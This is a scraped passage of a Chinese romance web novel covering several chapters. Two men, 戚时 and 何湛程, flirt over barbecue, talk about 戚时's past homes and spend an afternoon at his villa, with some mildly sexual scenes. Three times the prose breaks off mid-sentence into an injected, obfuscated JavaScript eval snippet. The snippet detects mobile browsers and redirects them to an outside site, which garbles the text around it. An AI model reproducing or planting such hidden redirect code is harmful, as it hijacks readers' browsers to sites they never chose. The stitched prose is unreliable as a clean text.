何湛程不太满意地打掉他手:“说什么呢,我们何家要聘礼很高的,你给得起么?” 戚时脸上闪过一丝尴尬:“我开玩笑的。” 何湛程定定地望着他,面无表情地审视。 戚时吓得心里“刺啦”一下,裂开个口子,他莫名有点委屈,忍不住后退了两步。 可他也要尊严,于是强行保持镇定,一双眼对峙般和对方紧紧对视着,倔强着不肯认输,脸却不受控制地痉挛起来,笑比哭还难看。 何湛程眯起眼,细长的眼尾斜挑着,用一种纯粹的欣赏目光,看对方无措惊惶的表情,看他双手不知该往哪儿放,看他闪躲的眼……哇,看啊,这个男人的眼眶似乎都要红了。 忽地,何湛程噗嗤一乐,俯身扑近过来,一张脸笑得像朵花:“哎呀,不如你当嫂子,我给你下聘好了!二哥,我喜欢做掀盖头的那个!” 戚时一颗心差点被这小子整碎了,脸上一阵红一阵黑,毫不犹豫抬起一脚飞过去:“去你的!” “哈哈哈哈哈哈哈哈哈!”何湛程闪身一躲,往远处跑了几步,不忘笑着回头逗他:“诶,二哥,你要是做我的新娘,我们结婚都不用放炮仗了,你直接提着裙子扯着嗓门在外面喊就好了,保准能让所有宾客都听得清清楚楚!” “滚犊子!”戚时臭着一张脸追着人打,“谁要跟你结婚!你一个毛都没长齐的小兔崽子,整的跟谁多稀罕你似的!” “哈哈哈哈哈你不稀罕,那我可就回山上找裴玉玩儿去了!” “你敢!你敢找他,我就打断他的腿!” “诶,难道不是打断我的腿嘛!” “打断你的腿,你哥和我哥不得联合起来弄死我?还是打裴玉的腿风险系数比较低。” “诶呀,那我们裴玉好可怜啊!” “你再说一遍,谁们裴玉!” “我们,w——o,我,m——en,们!” “何湛程!我看你今天是不想活了,你给老子站住!” “哈哈哈哈哈哈……你来追我啊!你追到我,我今天就和你睡!” “……” 风吹拂过发烫的脸颊,那人不负责任的笑闹声就这样淹没在嘈杂的人声里,戚时突然止住步子,不再追逐。 他停在原地,望着那个欢笑着跑远的人,那个头也不回的、蝴蝶一样四处飞舞的少年,心脏一抽一抽的。 一种无名的难过就这样在心口的裂痕处洇散开了。 伤口不深,他却无力缝合,只能眼睁睁看着自己沉沦,眼睁睁感受着自己对那个人的爱意一点点变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409038|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深,心口的裂痕也随之一点点向整颗心撕裂开去。 他低头,撸起另一只手的袖子,掌心摩挲着那人扔掉的、又被他捡起来捆在小臂的领带。 程儿,我到底该怎么做,才能让你每天都是我的。 *** 茉:“戚总,您下午五点半预约了光子嫩肤,记得少食辛辣少饮酒。” 戚:“你不早说,我已经跟程儿喝上了。” 茉:“您还是见他了。” 戚:“他都找来了,我有什么办法?” 茉:“那您少喝点。” 戚:“少喝不了,你把项目取消了,或者去经纪部门随便找个有需要的艺人去做,算我送的。” 茉:“好的,戚总,您什么时候回公司,我有件事想和您说。” 戚:“驳回。” 茉:“您都不问什么事情吗?” 戚:“程儿还在闹性子,不肯收我钱,他在燕京就跟你最熟,所以你不能跑路。” 茉:“恕我直言,您两位实在是太能折腾了。” 戚:“你也觉得我俩挺配?” 茉:“……没事挂了吧。” 下午一点半,烤肉店正热闹。 屋里二十来桌客人,座无虚席,炙热炭火烤着,成箱啤酒喝着,客人们各聊各的,吵吵嚷嚷,收银台音响里放着流行乐,何湛程埋头坐在角落位置吃肉,空气不流通,热得身上直冒汗。 戚时从外面接完电话,一进屋就见何湛程在脱衣服。 那人别着脸,一双浮现着淡青色筋络的手抬起,手指骨节分明,白而修长,长到很容易让人联想到一些少儿不宜的事,他利落地褪下西装,修身的白衬衫下,宽肩窄腰,挺着薄薄的胸肌,领口解开两颗扣子,随性又潇洒,脱完,又挽起衬衫袖口,露出肌腱紧实的小臂。 这根本就是一个成熟干练的男人,却总因为皮肤白、性格灵活多变而令人忽略他也是个男性荷尔蒙爆棚的食肉类动物。 这小子在外面是做1的。 戚时目光紧紧凝视着对方敞开的领口,脑子里冷不丁蹦出来这句话。 何湛程一抬头,男人正朝自己走来。 一身纯黑T恤运动裤,脖子里挂着银色的子弹头,血脉偾张的两条手臂垂落在胯边,视线凝到衣摆正中,男人裤|档口饱满鼓起,他眸底的炽烈与狂热一闪而过。 他笑声招呼道:“早知道这么热,我也穿短袖了。” 戚时坐到他对面,开了两瓶啤酒,交瓶颈和他碰了下,说:“下午想去哪玩儿?” 何湛程挑眉:“你下午不上班?” 戚时仰头灌了口酒:“今天不上。” 何湛程笑:“为了我?” 戚时也笑:“还没到那种程度。” 何湛程喝了口酒,把剪刀和夹子递过去,自己低头吃肉,随口问着:“中午你和赵博不是吃过了吗,还点这么多?” 戚时动作娴熟地烤着肉,2/3夹对方餐盘里,1/3夹自己这边,说:“没滋没味的,没吃饱。” 何湛程不信:“他不像是会请别人吃没滋没味饭菜的人。” 戚时轻哼一声:“怎么,才见过一面你就懂他了?” 何湛程在桌下伸脚轻踢他一下:“你看你,又吃醋,我再收敛都救不了你。” 戚时颇为潇洒:“没关系,不就是玩儿么,和谁不是玩儿啊!” “咱俩也是玩儿吗?”何湛程不经意问了句,头都没抬。 “不然呢?”戚时快刀剪着肉,也问对方:“咱俩合适么?” “我不知道。”何湛程停下筷子,很认真地思考了一下这个问题,然后抬头问对面:“你觉得呢?” 询问的目光里,不自觉闪过一道希翼的神色,仿佛只要戚时说他们是什么关系,他就认命和他是什么关系了。 戚时闭着眼吨吨灌酒,没看到。 直到一瓶酒喝空,他睁开眼望向对方,笑得一脸无所谓:“我觉得,不太合适!” “行,”何湛程点点头,“我知道了。” “所以,咱们下午去哪儿玩儿?” “去你家吧,我想看看你的狗,茉莉说你挺宠她的。” 戚时鼻孔出气,不乐意地问:“你去我家光看狗啊?” “也顺便看看你。” “……” “所以,你想让我去么?” “想。” 30. 第30章 开车走在路上,戚时告诉何湛程,他一共有过四个家。 第一个家,是七岁之前,他在某贫困县某乡镇的家。 戚时对父母葬礼之前的家庭生活毫无记忆,根据他哥细致的描述,他爸妈生前是经营小门市的商贩,他妈腌酱菜来卖,常年生意冷清,需要隔三差五去打零工,他爸是跑长途货运的司机,一天赚二百,但工作不稳定,除去一家四口吃喝拉撒,工资勉强交够店铺租金。 他家临街住,一楼是挂着“柒柒酱菜园”掉红漆牌匾的门市,二楼有三个房间,两间卧室,他爸妈一间,他和他哥一间,卫生间和厨房算单独一间,客厅摆着七八个酱菜大缸,每间屋子的气味都不太好闻。 后来他爸妈出了车祸,他和他哥的学校都在县城,他哥就把他妈腌的那些酱菜全都卖了,拿着肇事者的二十万赔偿金在县城买了套很破旧的两室一厅,那是他上大学之前,一个人住了十年的小窝,也是他最讨厌、也最喜欢的一个家。 “为什么讨厌又喜欢?”何湛程问。 “讨厌是因为那个家几乎都是我一个人在住,而且巨他妈破,你无法想象的破,都快成烂尾楼了,老子当年在学校穿得又帅又时髦,根本不敢把同学往家里带,怕他们笑话我。” “哦,”何湛程偏过脸,伸手摸了摸驾驶座上大宝贝的头,笑问,“那喜欢呢?是因为你哥吗?” 戚时点点头:“我哥还没当演员的时候,他兼职家教老师,一个人打两份工,攒下来的钱全给我买好吃的和营养品,他大学离我小学挺近的,也不用住宿,每天傍晚就骑个破自行车接我放学回家。” “那时候可自在了,我在客厅边看电视边写作业,他就系着围裙在厨房里忙活,每顿有荤有素,还怕我长不高,回回买三百多一瓶的维生素片给我吃,但他自己后来老是贫血,因为营养不良被他同学送进了好几次医院,他舍不得买药,每次都趁医生不注意就跑了。” 何湛程“哦”了一声,寻思着怪不得傻大个是傻大个呢,原来是哥哥把他照顾得好。 “那是我人生中最幸福的时光,”戚时眼尾浮起笑意,“虽然没钱,但每天都能和我哥待在一起,他不是什么万众瞩目的影帝,我也不是什么半吊子的总裁,我俩就这么平平凡凡的过日子——诶!对了,我跟你说,我哥做的菜贼好吃!几根破黄瓜也能鼓捣出不同花样儿来,哈哈!我俩的规矩是,他做饭,我刷碗,但我每次吃饱了就装困,最后还是他刷碗哈哈哈!” 何湛程也哈哈哈:“你小子当然幸福了!你哥可就惨了,他养你这么个祖宗不得累死啊!” 说完,笑脸一僵,自己猛然也意识到什么。 好啊,他有点心虚地想,怪不得老大把他丢在戚时身边,原来是让他何湛程跟着人家学习孝敬哥哥来了! 啧,难怪说强行教育不如耳濡目染,老狐狸真够阴险的啊…… 戚时脸上也难掩愧疚:“是啊,我是幸福了,我哥养我不容易,后来他听人家说做演员赚钱多,他就又跑去做演员了,你不知道,我哥十来岁、二十来岁的时候长得可帅了!又白又俊的,模样也正!好多男男女女都喜欢他!可惜他事业正式起步的时候,人已经快三十了。” “然后呢?” “什么然后?” “你哥演戏爆火了,你哥俩一人得道鸡犬升天,你小子肯定也开始吃香喝辣了吧?” 戚时笑着说了句“差不多吧”。 “后来呢?” “什么后来?” 何湛程挑眉:“你继续讲啊,讲你是怎么吃香喝辣的,讲你变成富二代后最喜欢吃的东西和最讨厌吃的东西,讲你明明有个正常的哥,你又怎么长成今天这副臭德行的,还有,你怎么搬你第三个家、第四个家啊!” 戚时突然沉默了。 何湛程察觉不对劲,问:“大宝贝你怎么了?!” 戚时低笑,嗓音是少年的清朗,语气也很轻,冷硬刀削般的面庞忽地变得柔和起来。 “程儿,你知道么,你是第一个问我‘后来呢’的人。” 何湛程“哦”一声,仰身靠在副驾座椅背,不以为然道:“那说明你这个故事已经讲过无数回了,我只不过是你千万听众中的一个而已。” “不,你不一样。” “怎么不一样。” “你问我‘后来呢’。” “问‘后来呢’就不一样了吗?” “嗯。” “为什么啊?” “因为你是我千万听众中唯一一个认真听我讲话的人。” 何湛程一抱臂,别过脸看向窗外,哼唧一声:“肉麻!” 戚时打着方向盘,笑个不停:“诶,程儿,你听见没,刚才那是什么怪动静啊,老鼠叫一样。” 何湛程故意低沉着嗓子说:“我不知道啊,我没听见。” 戚时笑:“是吗,我猜是只刚吃饱了五花肉的大肥老鼠,白白嫩嫩的,胀着肚皮,松着腰带,连外套都穿不进去了,待会儿我必须得多捏他几下,看看他还会不会再闹出这种动静。” 何湛程呵呵笑:“那我就吐你一身,臭死你!” 戚时调笑道:“怎么会,我们程儿身上到处都是香喷喷的,连那里都是香的,又白净又香。” 何湛程闭着嘴,没应这茬。 戚时立刻意识到他把氛围搞得暧昧了,连忙转移话题,说:“我、我第三个家是现在我哥家,他在御江天府买的19楼三百来平的大平层,我考上燕体后,就把原来在县城的东西全搬到他那儿了,但他经常在各地拍戏回不来,我嫌家里太冷清,住不到两个月就回学校宿舍住去了。” “干嘛住宿舍,”何湛程不太赞同道,“几个人挤在一个小屋里,跟蹲牢房一样,想打个飞机都不方便。” 戚时啧一声:“可以晚上去厕所打。” 何湛程一脸郑重:“我就喜欢躺在被窝里打!打之前,一定得先喝点儿酒,再把衣服都脱光了钻被窝里,从脑子里随便翻出张脸来找感觉,感觉到了我就开始干活儿,多舒服啊!” 戚时:“……” 不知怎的,听人这般描述着,仿佛他亲眼看到何湛程之前每晚都对着他照片干坏事的样子。 第一次知晓时,他备受羞辱怒不可遏,后来怒意消褪,每每回想起来,便不禁脸上发烫。 何湛程扭头问他:“你呢?你怎么打飞机的?站着么?” 戚时装作没听见,继续道:“咱们待会儿要去的是我第四个家——其实也不算是个家,家具都没多少,好几个屋儿都是空的,我懒得布置,现在每天就一保姆给我打扫卫生和做饭,因为我哥这两年有对象了,不让我和他一起住,我就搬过去了。” 何湛程好奇问:“也是大平层么?” “不是,是别墅,”戚时问,“怎么,你喜欢住大平层?” “不是啊,”何湛程笑,“大平层你都嫌冷清,住别墅晚上不得吓得哭出来啊。” “是啊,”戚时似笑非笑地说,“我一个人住怕死了,你要不搬来和我一起住呗,我晚上哭了还能跑你怀里躲躲。” 何湛程挑眉:“真的假的?” 戚时回得很圆滑:“你来就是真的,你不来就是假的。” 何湛程犹豫了下,然后果断一挥手:“算了!我机票都定了,明早就回家了,就不成天在外边浪着了!” 戚时搭在方向盘上的手一顿,沉默片刻,没偏头:“你又要走了?” “嗯。” “理由呢?又是回去看那个许若林?” “我回自己家需要什么理由?”何湛程懒洋洋道:“许若林那事儿已经结束了,我跟他现在就是朋友。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409039|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 戚时嗤笑不信:“谁会和睡过的人做朋友。” “我啊,”何湛程满不在意地说:“怎么,他都没意见,你倒有意见了?” “没,”戚时状似不经意提起,“那裴玉也——” “我没跟他上床。” 戚时感动得差点落泪:“好,挺好,我其实挺看好那小子的。” “咋啦,”何湛程笑眯眯地瞅他,“我跟他上床你就不看好他了?” 戚时不答,立刻又换个话题:“你爸这慈善做的也忒善了吧,还给大学捐楼呢啊?” 何湛程“嗐”一声:“我当初退学回国,我家老爷子就想安排我在国内读算了,我不想在家门口上学,他就在燕京大学捐了个项目,跟佟校长说我准备好了随时过来上课,我嫌没劲,就没来。” 戚时了然,笑声劝着:“怎么没劲了,从前没劲,现在还没劲啊?你随时来上呗,我还能看着你点儿,多好啊。” 一句“我又不跟你谈恋爱,一个人在这儿上学有个屁劲”马上脱口而出,戚时的车已经停在了酒店门口。 何湛程低头解安全带,没将那句暗示意味太明显的话讲出来。 戚时没熄火,扭头问他:“用我陪你进去吗?” 何湛程点了下头,说:“行,正好我收拾行李,晚上去你那儿住,你明天直接给我送机场去。” 戚时今天不忙,说有空带着他玩儿,何湛程只想去这人家里看狗。 这一路,听人事无巨细把这些年所有经历的事都讲给他听,他了解完这个男人从小到大所有的一切,他们俩之间差不多也该结束了。 就像读一本书,他遇上了这个人,不小心从中间页翻开,这个人很好,肯主动倒回去帮他从第一页开始重新翻,半本就够,他读了半本他的故事,决定就此合上。 后半本就没必要了。 他没兴趣憧憬任何人、包括他自己的未来。 这遇见戚时才有的、想要去探究别人往事的臭毛病,从一个月前他点开【戚时】的搜索词条开始,到今天不厌其烦听人絮叨故旧往事,何湛程也不知道自己是怎么了,戚时趁在他下车之际俯身过来亲他嘴,他没回应。 他只感觉自己正在精心布置的、这份接近完美的离别作品,非常的矫情和傻叉。 戚时搂着他进酒店收拾行李,身体贴他很近,何湛程其实不喜欢暧昧对象这样搂他,戚时手臂扣在他腰间,不时将他往怀里带,恨不得将他塞进胸膛,姿势跟搂女朋友似的。 明明他才是这段关系的主导者。 他东西少,就一个行李箱,收拾完了,和箱子一块儿立在房间正中央,一手插兜,另一手掏手机给刘导打电话道别。 他要做一个懂礼貌的客人,对刘导浅浅表达了这阵子悉心照顾他的感谢,刘导说霜霜想他了,何湛程又让霜霜接电话,耐心陪着公主殿下东拉西扯漫无天际的聊,戚时就像只粘人的大狗,趁他打电话,从身后抱住他腰,埋头在他颈间,喉咙发出某种闷闷的咕噜声,没完没了地吻他的脖子和耳朵,弄得他很痒。 何湛程有理由怀疑,如果每个人都有一条尾巴,戚时一定会趁他不注意,把他俩的尾巴拴在一起,他走到哪儿,这傻大个儿就跟他到哪儿。 何湛程挂掉电话,闭眼憧憬了五秒那场景,还挺浪漫的。 可惜戚老二说他们只是玩玩。 他们出酒店,戚时很自然地伸手要帮他拎箱子,他没让。 无名的火气就在胸膛爆炸开了,怒意充斥进五脏六腑,气得他脑子嗡嗡响。 他默不作声地忍着,这很不合他有疯必发的脾性,于是毫不客气的,他对身旁这位他交往不到一天就宣告恋情结束的前男友摆出生平最臭的脸色。 呵,他才不要他帮自己拎箱子! 还有,他再也不要谈恋爱了。 31. 第31章 戚时明显察觉,他讲完旧事以后,何湛程对他态度变冷淡了。 不知道是不是嫌弃他的出身。 何湛程的本科在哥伦比亚大学读,自己考上的,修的还是双学位,两个似乎完全不搭边的科目,哲学和经济学,且这人上到大二,学分就差不多快修完了,GPA均分4.0。 斐然的成绩和高效的精力,和本人混乱的私生活一样令人瞠目结舌。 一句“没劲”,果断退学回家养老,任性又聪明,戚时想,如果他是何湛程的爹,他也要给燕京大学捐楼。 回他家的路上,俩人很少再聊天了,何湛程抱臂靠在椅背上假寐,冷漠的侧脸拒人千里之外,颈间线条冷硬,宽阔削平的肩膀,从乌黑头发丝到整洁的西装裤脚,匀称有力的身材,十足的精英派。 戚时本想问问何湛程以后想做什么,因为他想,他的程儿还小,当下只是阶段性的迷茫,家里又不差钱,花花少爷无聊了就下凡来游戏人间,往后长大了,程儿肯定会像家里的两个哥哥一样,要做一番事业的。 但又想,程儿不会和他这种笨笨的人讨论这种深奥的话题。 他连初中物理都学不好。 戚时决定下次要跟他哥讲,他喜欢上的是一个比他还帅、比他还有钱、比他还聪明、还远远比他年轻的人。 这般心事重重着,车终于开到了家。 天空日头正盛,门廊前的草坪滚着几个彩球,一抹耀眼的黑缓缓驶进院子,体型渐大的阿拉斯加犬扑腾着一身靓丽的毛,兴奋地吐着舌头,汪汪叫着,飞奔出来迎接主人。 戚时停好车,冲果汁儿招了下手,正要跟何湛程介绍一下他家果果公主,一扭头,又犹豫起来。 对方一路都不太高兴,面对这种毫无道理的冷脸,他不知道怎么开口。 何湛程一见着新鲜东西,倒是自己先消气了,扭头问他:“这就是果汁儿?” 戚时连忙点头:“对,你去跟她玩儿,她很亲人的。” 何湛程就下车去逗那狗。 “那我把你行李先提我屋了啊!” 戚时去开后备箱,冲人喊了一声。何湛程背对着他蹲在地上,没理他。 保姆走出来,打量几眼何湛程,笑声问戚时:“老板,家里来客人了?” 戚时拎下箱子,随口交代着:“这是自己人,今儿晚上我俩点外卖,王姨你不用管了,这就回吧。” 王姨应一声,没忍住又瞧何湛程两眼,小声跟他夸赞:“您这朋友真俊呐,白白净净的,跟颗明珠似的!” 戚时笑:“是吧,我也是第一次遇见这样的人。” “是嘞,看起来性格也很好呢!” “咳,那倒没有。” 王姨走了,偌大别墅恍若巍峨的白色城堡,梦幻又清冷。 戚时将行李拎进他三楼卧室,顺手关上门,脑海中一瞬间闪过他只需要把人行李都藏起来、那人就走不了的想法,随即又觉十分荒谬可笑。 正是午后闲暇时光,戚时换了身休闲夏装,懒洋洋托腮支胳膊在窗前,一脸惬意地沐浴着阳光。低头,饱含笑意的目光始终追逐着某人,院子里一人一狗玩儿正开心,他的程儿又变成个小傻子,笨笨的,憨憨的,两手握着果汁儿的前爪,一本正经地教她叫“哥哥”。 “说,哥——哥——” “汪汪!汪汪!” “来,我说一句,你说一句,哥——哥——” “汪汪!汪汪!” “不对!你应该说汪~汪~,声调再低点儿,就像你每次便秘来感觉那样。” “嗷~” “嗯,有那味儿了!”何湛程鼓励道:“继续,再叫一声完整的,我叫你爸给你买西班牙火腿吃!” 戚时笑出声来,忍不住探头冲底下人喊:“诶,你别乱许诺,她要是当真了你给她买啊!” 何湛程没理他,只低头摸摸果汁儿的头,挑拨离间道:“你看你爸抠儿的,一个住京城独栋大别墅的集团老总,说句话整得跟家里掀不开锅一样,你跟着他有够受罪的,等着,回头哥哥有了钱就过来接你跟我住去!” 上头人又喊:“诶,好哥哥,也给我接走呗!” 何湛程翻白眼:“你太重了,接不走!” “行吧!”上头人笑:“话说,为什么你是哥哥,我是爸爸?这不差辈儿了吗?” 何湛程惊讶抬头望他:“我什么时候跟你是一辈儿过?” 上头人:“……” 要不他还是找茉莉再约一下光子嫩肤吧。 就这么和狗玩儿了半天,何湛程被晒得脸上发烫,身上也黏黏的,他仰起头,问窗台上的男人有薄衣服没,男人终于等到这句话,热情招呼他上楼洗澡。 何湛程跟戚时说,他挺喜欢果汁儿的,黑黢黢的小鼻子,水晶葡萄大眼,浑身毛茸茸的,长着小狼似的模样,和戚时八分神似,难怪是父女呢。 戚时塞给他一套驼色的家居服,推他赶紧去浴室洗漱,等他一出来,那人立刻饿狼扑食般将他扑到床上,埋头一个劲儿蹭他肩窝,说:“程儿,一块儿睡午觉吧。” 手也不老实,掌心像磨砂纸,一点点试探着伸进他上衣里。 何湛程眼皮都没抬一下,说:“行啊,你想挨操了?” 那只手又乖乖抽走,隔着一层轻薄棉布料,攥住了他的腰。 语气闷闷的:“乖崽儿,你就不能为了你二哥牺牲一回么?” 何湛程把撒娇大狗搂在怀里,指尖把玩着那人散发着松木清香的头发,笑了声:“行啊,你先牺牲,我再牺牲。” 戚时倔强地辩驳:“我不会挨操!” 程儿蛮随意地说:“那我也不会。” 戚时恳求他:“我没和男人做过……” 程儿冷声道:“那我也没跟女人订过婚。” 戚时:“……” 怪他么? 谁让何湛程在他的生命里出现这么晚? 他没和任何人订婚,只是和蒋灵走得近了点,身边人都那么认为而已。他甚至因为戒指这个概念很特殊,从未送过任何女人戒指,但这阴阳怪气的话从何湛程嘴里说出来……还挺酸的。 他挺得瑟地问:“咋啊,你吃醋了?” 何湛程打了个哈欠,说:“对啊,怎么,不行么?” 大方坦然到令他简直无力回击。 戚时对这个风流兔崽子完全没招儿,两手又伸进人衣服里开始乱摸,兔崽子挺大方,躺着床上随意他碰,可惜只能看、不能吃,他馋得慌,只好埋头使劲儿拱人家脖颈,闷声发泄火气。 “崽儿,你觉得我老么?” “不老,才27老什么?”何湛程吻了吻他眉心,手指划过他胸口,笑声逗他,“但是有空了,你去找家好点儿的兽医院做个绝育吧,抑制发情。” 戚时气笑了。 向来都是别人夸他器大活好,却还从没被人这么骂过,兔崽子嘴毒得很。 俩人腻歪两个多小时。 戚时总有顾忌,不敢对金尊玉贵的少爷太放肆,于是本来被他抱在怀里的少爷却变本加厉地流氓起来,等少爷露出真面目,马上要把他给吃了时,戚时招架不住,匆匆忙忙捂着被人扒剩的最后一条裤衩躲进了浴室。 本次由戚大总裁正式发起的午睡项目,也由他猛冲两遍冷水澡狼狈告终。 少爷不太满意地在门口抱怨,说:“你这人毫无奉献精神,根本就没那么喜欢我,以后别亲我了。” 戚时也不爽:“你小子睡过谁一次,扭头就把人当垃圾扔了,当我不知道?” 少爷诧异:“你用过一次的套不扔,难不成等着下一次再继续循环利用吗?” 戚时怒了:“我他妈是套?!” 少爷咯咯笑:“当然不是啦,你是我最爱的大宝贝嘛!宝贝,带我参观一下你家呗?” 大宝贝又一秒被哄好,冷哼一声,擦着头发趿拉着拖鞋,领着这位偷心贼少爷在他五层独栋别墅转悠了一圈。 车库没去,少爷怕冻着他,也没坐电梯,俩人都身高腿长的,并肩走着楼梯,经过一间又一间空屋子,明媚的阳光透窗照射进来,一扇扇门被推开,空阔的屋子一间比一间亮堂干净。 少爷很懂布置,两手插兜,抬着下巴,逐一点评,说这间屋子规整宽敞,该当琴房或者书房才对,窗帘要半透光的米白色,缀着蕾丝流苏,风和日丽的春天一推窗通风,一个个悠扬的音符飘出去,心情会很美; 那间屋子露台上搞一套梨木制的桌椅,盆栽种绣球、蝴蝶兰、摩洛哥雏菊、蒲公英鼠尾草等,再养棵柠檬树,阳面外墙三角区要种会爬墙的紫藤花,门口栽四五棵银杏,夏天带朋友们上来摆烧烤,一起喝啤酒看星星,然后闻着花香,宿醉或者死去; 有大落地窗的屋子,用来做像少爷这种晚上喜欢打飞机的客人的客房,要挂暗红或黑丝绒遮光窗帘,满满的安全感,早上醒来抬臂一拉,深秋的落叶映入眼帘,少爷笑着说,他能对着飘零落叶出一整天的神儿; 最具设计感的一间屋,可以做小工作室,再单装个盥洗室,但墙面颜色不对,得换成更具视觉冲击的红蓝绿,东墙挂两张后现代主义抽象画,西角落灯台下再摆个单人沙发,一定得是德芙绒面料,冬天工作累了就倒这儿睡觉,很方便…… 戚时原本只是随意听着,一双眼只盯着少爷那张叭叭个不停的小嘴,伺机而动,随时准备扑上去狠狠亲两口,等人点评到第七间,他忽然意识到什么,甩手将擦头毛巾搭肩上,然后掏出手机,按照少爷的挑剔要求,认真在备忘录上一条条记下来。 “……地下室要装修成酒窖,铺暖金色的光,你没事了就派人去拍卖会多拍点收藏价值高的好酒,回来存一瓶,剩下的自己喝,砸了或扔了都行,但是不要送人,还有那个橱柜玻璃太丑——” 右肩冷不丁被撞了一下,何湛程扭头,见戚时低头抱着手机,小学生似的做笔记。 他挑了挑眉:“你干嘛?” 戚时抬头笑:“这不行家在这儿呢么,我回头按照你说的,该拆的都拆了,再重新装修。” 何湛程胸腔震了一震,一霎间心头闪过许多复杂情绪。 怎么了这是?不应该啊,眼前这个男人,那么英俊,又那么单纯,那么强势,又那么迷恋他,他无比享受他们之间尚未冷却的暧昧与激情,这本该是他最得意的作品…… 可,这人要因为他的几句话就把自己家拆了,他又觉得这个男人很讨厌。 “别,”他将手搭在戚时的双手上,“二哥,我随便说说的。” 他可不想以后从谁嘴里听到,戚老二跟下一任暧昧对象聊故旧往事时,说“我第五个家原本是第四个家,为了某个渣男少爷重新装建的,但是他其实根本不在意”这种没良心的话。 戚时诧异盯他:“干嘛,老子家又不给你住,你还操心上了?” 何湛程呵呵笑两声,扭头就走。 这狗男人爱几把怎么拆就怎么拆,他何湛程心疼个狗屁! 下午没事儿做,俩人窝在一楼客厅沙发上看电视。 何湛程盘腿抱着个装满鲜切西瓜的玻璃碗,拿着遥控器播节目,本想放足球赛,最终不知怎么想的,播了一部有戚铭参演的谍战片。 那时戚铭才27,在剧里演反派男四,身份是特|务头目的智囊团担当,因为英俊的外形、悲壮坎坷的童年背景,以及成年后睿智冷酷的无情作风,成为主角团们的头号劲敌,剧播出来,主角团无人问津,这个拥有着复杂多面的反派人物倒广受好评。 戚时本来躺在他大腿吃西瓜,见他播了个老剧,兴冲冲坐起身来,张臂就要揽他入怀。 何湛程缓缓扭头,跟对方说,你再搂我跟搂女朋友似的,我就弄死你。 戚时轻啧一声,一把夺走他西瓜,拱着屁股将他夹到沙发扶手那边,然后整个人没轻没重地压过来,恨不得将他挤成肉饼。 “这样总行了吧!”说着,喂过来一块鲜甜的果肉。 何湛程张嘴咽下,享受地眯起眼,勉勉强强“嗯”了一声。 “这是我哥。”戚时指着电视里一个刚出场的年轻人笑,语气不无炫耀:“又帅又年轻,是吧?那时候他还没爆火呢,我也在读高中,天天训练累得跟狗一样,但一想到我只要再多努努力就能考个好学校,精神上又很轻松。” “是啊,”何湛程也笑,“细看的话,你俩长得有一点点像,但不仔细看,你俩差别还挺大的。” “是吗?” “嗯,他眉眼间的神色十分收敛,长相偏成熟稳重,同样的年纪,你就和他不一样。” “我怎么不一样?” “你长得像条疯狗。” 戚时气得好一阵笑,却发不起脾气来。他拱头蹭上人肩膀,一边吃西瓜,一边在何湛程耳边絮叨,他说,他哥其实是个巨聪明的人,初出道时,孤身一人就能跟好几方的资本势力周旋,虽然不免遭到打压,但生命力异常顽强,挑剧本的眼光也很毒辣,总能在一堆垃圾里挑出个不太垃圾的。 戚时说,他哥刚入行就知道他自己演的很多剧是烂剧,但他一不做主演,二没话语权,最重要的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409040|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,他只是赚钱养家。他知道自己有着极大的容貌优势,就凭这一点,就足够替他在演艺生涯抵挡一切不和谐声,他更不在乎外界对他的评价。 “但他现在岁数大了,过几年都该四十了,事业心和责任感都格外重,人也开始变得谨慎起来,尤其近几年他决定退到幕——”一偏头,见何湛程安静地嚼西瓜,一双眼睛认真地看着电视,忍不住紧张起来,问:“程儿,我是不是太啰嗦了?” 何湛程扭头瞅他一眼,挑眉:“怎么会,我听着呢,你说到你哥这两年要退到幕后是吧?挺好的,单纯做演员哪有在幕后当大佬来钱儿快?我投你哥一票!” “我不是这意思,我是说……我……” “说什么?” “你会不会觉得我……我有点怪?” “怪?”何湛程诧异:“哪里怪?” “就是……我总是提我哥,好像离了我哥就活不了一样,你不觉得……有点怪吗?” “哦——”何湛程立刻就懂了。他盯着对方紧绷起来的冷硬面庞,见人一脸防备又试探的神情,忍不住一笑。 “这有什么的,”他满不在意地说,“我出门在外还老提我爸跟我大哥呢!他们这么牛逼,随便提一句谁我就能到处白吃白喝,我凭什么不提?!我们是一家人,关系再烂也是一家人,别的人想显摆还没有呢!” 戚时莫名松了一口气,悬在胸膛里那块沉重的石头终于落地,但内心仍旧犹疑,怕人没领会到他的意思,于是目光紧紧注视着何湛程,似乎非要从对方嘴里求一个确定的答案:“真的?” 